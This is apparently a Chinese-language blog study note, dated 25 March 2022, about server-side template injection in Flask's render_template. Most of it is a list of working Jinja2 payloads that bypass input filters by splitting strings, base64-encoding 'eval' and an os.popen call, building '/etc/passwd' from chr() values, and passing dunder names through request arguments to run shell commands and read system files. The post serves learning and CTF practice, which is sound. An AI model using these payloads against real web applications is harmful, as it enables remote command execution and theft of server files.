2022年3月25日的学习记录
作者:互联网
SSIT的理解
因为对输入的字符串控制不足,把输入的字符串当成命令执行
SSIT引发的真正原因
render_template渲染函数的问题
render_template渲染函数是什么:
就是把HTML涉及的页面与用户数据分离开,这样方便展示和管理。当用户输入自己的数据信息,HTML页面可以根据用户自身的信息来展示页面,因此才有了这个函数的使用。
对于如何绕过过滤的方法
拼接法
object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls') //绕过对于system的过滤
().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read() //绕过对于flag.txt文件的过滤
编码
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64')) ———————————————— //等价于 ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()") 利用base64编码对eval和__import__('os').popen('ls').read()进行加密避免过滤
对于某些特定符号绕过过滤的方法
对于引号,利用chr函数,将引号的值赋给chr,后面拼接字符串
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read() }}
对于双下划线
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__ //这个还不太懂。。。
标签:__,25,.__,记录,2bchr,__.__,2022,subclasses,class 来源: https://www.cnblogs.com/Rammstein-and-rock/p/16057097.html